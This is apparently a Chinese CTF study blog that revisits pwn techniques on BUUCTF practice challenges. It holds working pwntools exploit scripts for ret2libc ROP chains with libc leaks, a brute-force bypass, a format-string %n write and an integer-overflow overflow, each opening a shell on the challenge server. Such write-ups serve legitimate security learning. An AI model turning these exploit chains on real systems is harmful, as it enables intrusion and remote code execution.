重新拾起pwn的学习,这篇文章用的buuctf的题目,回顾一下栈溢出和格式化字符串

栈溢出

要记得区分32位是直接栈上参数,64位是寄存器参数,64的有pop操作,善于利用\x00截断

64位system调用记得栈对齐

偏移量关于是否加4或加8,看汇编最后是否有pop ebp或者leave没有就不用

recv
64位:8,32位:4

gdbattach
断点要下在我们修改地址后仍能断到的地方
记得加pause,不然程序太快,还没来得及断就运行完了

ciscn_2019_c_1

典型64位栈溢出,有一个加密函数,会对payload进行加密,但是这里他只加密了前48位对我们的payload没有影响,所以不care,然后leak出libc来,到sys取binsh就好

exp

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'                #开启debug方便调试

choose = 1                        #选择远程或者本地

if choose :
    p = remote("node3.buuoj.cn",25266)
    elf= ELF("./ciscn_2019_c_1")
    #libc  = ELF('libc-2.23.so',checksec=False)
else:
    p = process(['./ciscn_2019_c_1'],env={"LD_PRELOAD":"./libc-2.23.so"})
    elf= ELF("./ciscn_2019_c_1")
    #libc  = ELF('libc-2.23.so',checksec=False)

puts_plt=elf.plt['puts']            #直接通过ELF寻找put的plt与got地址
puts_got=elf.got['puts']
start_addr=0x400790
pop_rdi_ret=0x400c83                #通过ROPgadget --binary ./elf文件 --only 'pop|ret'寻找

payload="a"*0x50+"a"*0x8+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(start_addr)        偏移量+pop地址+输出参数(这里是got地址)+对应函数+返回函数

p.sendlineafter("Input your choice!\n","1")        #交互
p.sendlineafter("Input your Plaintext to be encrypted\n",payload)


p.recvuntil("Ciphertext\n")
p.recvuntil("\n")
puts_addr=u64(p.recv(6).ljust(8,'\x00'))        #recv用ljust进行标准化,用u32进行转型
print "puts_addr is "+hex(puts_addr)

libc=LibcSearcher("puts",puts_addr)                #leak出对应libc版本

libc_base=puts_addr-libc.dump("puts")
system_addr=libc_base+libc.dump("system")
str_bin_sh=libc_base+libc.dump("str_bin_sh")

print "libc_base is "+hex(libc_base)
print "system_addr is "+hex(system_addr)
print "str_bin_sh is "+hex(str_bin_sh)

ret_addr=0x4006b9                #这里用来对齐16字节栈,不然调用system会crack


payload="a"*0x50+"a"*0x8+p64(ret_addr)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
p.sendlineafter("Input your choice!\n","1")
p.sendlineafter("Input your Plaintext to be encrypted\n",payload)

p.interactive()

babyrop

典型的32位栈溢出,返回函数地址payload位置与64位的位置有一定区别
该题有一个rand值检测,但是中间len的鉴别我们可以通过\x00截断绕过,想到了一半,这里全绕过就行了,我使用的循环爆破,第一位给他定成1然后爆破,1/16的概率命中,所以爆破起来也可以

exp

from pwn import *
from LibcSearcher import *

context.log_level="debug"
#context (arch = "amd64",os = "linux")
#context.terminal = ['gnome-terminal','-x','bash','-c'] 

choose = 0

if choose :
    p = remote("node3.buuoj.cn",28790)
    elf= ELF("./pwn")
    #libc  = ELF('libc-2.23.so',checksec=False)
else:
    p = process(['./pwn'],env={"LD_PRELOAD":"./libc-2.23.so"})
    elf= ELF("./pwn")
    #libc  = ELF('libc-2.23.so',checksec=False)

write_plt = elf.plt['write']
write_got = elf.got['write']
#libc_write = libc.search('write').next()            #这里search的不太准确,被坑了好久,还是leak出来dump好
#libc_system = libc.search('system').next()
#libc_bin_sh = libc.search('/bin/sh').next()
fuc_addr = 0x080487D0


def payload_create():
    res = 0xe7*'a' + p32(0xdeadbeef) + p32(write_plt)  + p32(fuc_addr) + p32(1) + p32(write_got) + p32(4)             #这里的payload就与64有所不同,他要先放返回地址再去放参数,堆栈操作里,是先压得参数然后压得返回地址
    return res

def inter_speak():
    #p.recvunril()
    payload =  "1"+p32(0) 
    payload = payload.ljust(7,'1')
    payload += p32(0xff)
    p.sendline(payload)

    try:                            #爆破通过try。。except进行,单纯if不行
        get_str = p.recvuntil("\n")
        if "Correct" in get_str:
            return 1
    except:
        p.close()
        return 0

if __name__ == "__main__":
    while(1):
        if inter_speak():
            break
        else:
            p = remote("node3.buuoj.cn",29836)        失败就重新再开一个
            #p = process('./pwn')
    payload = payload_create()
    p.sendline(payload)
    #print p.recv()
    addr = u32(p.recv(4))
    #addr = p.recvuntil('\n').ljust(8,'\x00')
    libc = LibcSearcher('write',addr )
    libc_base = addr - libc.dump('write')
    sys_addr = libc_base + libc.dump('system')
    bin_addr = libc_base + libc.dump('str_bin_sh')
    print "linc_write====>" + hex(libc.dump('write'))
    print "libc_base====>" + hex(libc_base)
    print "libc_system====>" + hex(sys_addr)
    print "libc_bin_sh====>" + hex(bin_addr)

    payload1 = 0xe7*'a' + p32(0xdeadbeef)  + p32(sys_addr) +  p32(0) +p32(bin_addr) 
    p.sendline(payload1)

    p.interactive()

格式化字符串

%p看输入偏移
%n进行写,写的是输入字符串个数

可以通过%offset$n确定写入位置与输入偏移位置

注意有时候需要一个字节一个字节的去改,所以就会有%hhn,输入地址可用类似p32(addr+1)进行单字节传输

[第五空间2019 决赛]PWN5

逻辑:输入用户名密码,用户名存在格式化字符串漏洞,密码对应一个rand的bss值,通过漏洞修改bss值,在输入对应密码就ok
这里就用最基础的一个格式化字符串漏洞,没用之前的标准格式,多多包涵

exp

from pwn import *
context.log_level="debug"
p = remote("node3.buuoj.cn",26879)
bss = 0x0804C044
payload = "\x44\xc0\x04\x08"+"%10$n“   #这里是全局变量地址+写入操作
p.sendlineafter("your name:",payload)
p.sendlineafter("your passwd:","4")        #因为输入的是4个字节,所以这里修改为4
#p.sendline("4")
p.interactive()

整形溢出

注意有unsigned int 还有len的时候或者有长度小范围判断的一般都是整形溢出

[BJDCTF 2nd]r2t3

自带system bin,不用leak,这种题很基础,就是判断了个字符串长度,只取0xff字节,构造0x100的flag就好。

ida伪代码

char *__cdecl name_check(char *s)
{
  char dest; // [esp+7h] [ebp-11h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]

  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u )
  {
    puts("Oops,u name is too long!");
    exit(-1);
  }
  printf("Hello,My dear %s", s);
  return strcpy(&dest, s);
}

exp

from pwn import *
from LibcSearcher import *

context.log_level="debug"
#context (arch = "amd64",os = "linux")
#context.terminal = ['gnome-terminal','-x','bash','-c'] 

choose = 1

if choose :
    p = remote("node3.buuoj.cn",27514)
    elf= ELF("./r2t3")
    #libc  = ELF('libc-2.23.so',checksec=False)
else:
    p = process('./get_started_3dsctf_2016')
    #p = process(['./get_started_3dsctf_2016'],env={"LD_PRELOAD":"./libc-2.23.so"})
    elf= ELF("./get_started_3dsctf_2016")
    #libc  = ELF('libc-2.23.so',checksec=False)

if __name__ == "__main__":

    flag_addr = 0x08048594
    payload = "a" * 0x15  + p32(flag_addr)
    payload = payload.ljust(0x100,"a")        #这里直接填充就好,没注意好左右,卡了半天0- 0
    payload += "aaaaa"            #随意填写大于3小于8的字符串就好
    p.sendlineafter("ase input your name:",payload)
    p.interactive()

ps:在做这道题的时候发现用0xdeadbeef,别用0,不然经常会截断


一个好奇的人